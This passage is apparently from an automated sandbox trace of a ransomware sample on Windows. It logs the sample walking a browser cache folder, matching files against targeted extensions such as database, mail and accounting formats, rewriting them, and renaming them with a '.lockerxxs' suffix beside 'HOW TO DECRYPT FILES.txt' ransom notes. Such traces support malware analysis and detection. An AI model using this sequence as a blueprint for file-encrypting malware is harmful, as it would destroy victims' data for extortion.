HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" [0082.486] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" [0082.486] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm." [0082.486] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm.lockerxxs" [0082.486] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\eula_text[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.488] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf8f5 [0082.488] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x60b5eb80, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x60b5eb80, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x60f89200, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.488] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.488] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xf8cf, lpOverlapped=0x0) returned 1 [0082.491] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm") returned="eula_text[1].htm" [0082.491] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.492] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xf8cf, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xf8cf, lpOverlapped=0x0) returned 1 [0082.492] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.492] CloseHandle (hObject=0xa4) returned 1 [0082.497] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\eula_text[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\eula_text[1].htm.lockerxxs")) returned 1 [0082.500] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62410fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x34ce, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="f[1].txt", cAlternateFileName="F_1_~1.TXT")) returned 1 [0082.500] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.500] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="f[1].txt") returned -1 [0082.500] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="f[1].txt") returned 1 [0082.500] lstrcmpiA (lpString1="", lpString2="f[1].txt") returned -1 [0082.500] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm") returned="eula_text[1].htm" [0082.500] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.500] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.500] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.500] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.500] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="f[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" [0082.500] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.ems") returned 0 [0082.500] lstrlenA (lpString="*.ems") returned 5 [0082.500] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.db") returned 0 [0082.500] lstrlenA (lpString="*.db") returned 4 [0082.500] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.dbf") returned 0 [0082.500] lstrlenA (lpString="*.dbf") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.myox") returned 0 [0082.501] lstrlenA (lpString="*.myox") returned 6 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.myo") returned 0 [0082.501] lstrlenA (lpString="*.myo") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qbw") returned 0 [0082.501] lstrlenA (lpString="*.qbw") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qbb") returned 0 [0082.501] lstrlenA (lpString="*.qbb") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qbm") returned 0 [0082.501] lstrlenA (lpString="*.qbm") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qbo") returned 0 [0082.501] lstrlenA (lpString="*.qbo") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qbx") returned 0 [0082.501] lstrlenA (lpString="*.qbx") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qba") returned 0 [0082.501] lstrlenA (lpString="*.qba") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qby") returned 0 [0082.501] lstrlenA (lpString="*.qby") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qbj") returned 0 [0082.501] lstrlenA (lpString="*.qbj") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.ofx") returned 0 [0082.501] lstrlenA (lpString="*.ofx") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.qif") returned 0 [0082.501] lstrlenA (lpString="*.qif") returned 5 [0082.501] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.mye") returned 0 [0082.502] lstrlenA (lpString="*.mye") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.mbox") returned 0 [0082.502] lstrlenA (lpString="*.mbox") returned 6 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.eml") returned 0 [0082.502] lstrlenA (lpString="*.eml") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.pst") returned 0 [0082.502] lstrlenA (lpString="*.pst") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.ost") returned 0 [0082.502] lstrlenA (lpString="*.ost") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.idx") returned 0 [0082.502] lstrlenA (lpString="*.idx") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.dbx") returned 0 [0082.502] lstrlenA (lpString="*.dbx") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.sql") returned 0 [0082.502] lstrlenA (lpString="*.sql") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.mdb") returned 0 [0082.502] lstrlenA (lpString="*.mdb") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.fdb") returned 0 [0082.502] lstrlenA (lpString="*.fdb") returned 5 [0082.502] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.wab") returned 0 [0082.502] lstrlenA (lpString="*.wab") returned 5 [0082.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.dat") returned 0 [0082.503] lstrlenA (lpString="*.dat") returned 5 [0082.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", pszSpec="*.txt") returned 1 [0082.503] lstrlenA (lpString="*.txt") returned 5 [0082.503] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" [0082.503] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" [0082.503] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt." [0082.503] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.lockerxxs" [0082.503] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.504] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x34ce [0082.505] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x62410fc0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x62410fc0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x62410fc0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.505] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.505] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x34a8, lpOverlapped=0x0) returned 1 [0082.507] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt") returned="f[1].txt" [0082.507] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.507] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x34a8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x34a8, lpOverlapped=0x0) returned 1 [0082.507] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.507] CloseHandle (hObject=0xa4) returned 1 [0082.511] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt.lockerxxs")) returned 1 [0082.512] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53089b90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53089b90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53089b90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1254, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", cAlternateFileName="GETYPE~1")) returned 1 [0082.512] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.512] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]") returned -1 [0082.512] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]") returned 1 [0082.512] lstrcmpiA (lpString1="", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]") returned -1 [0082.512] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt") returned="f[1].txt" [0082.512] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.512] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.513] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.513] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.513] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]" [0082.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 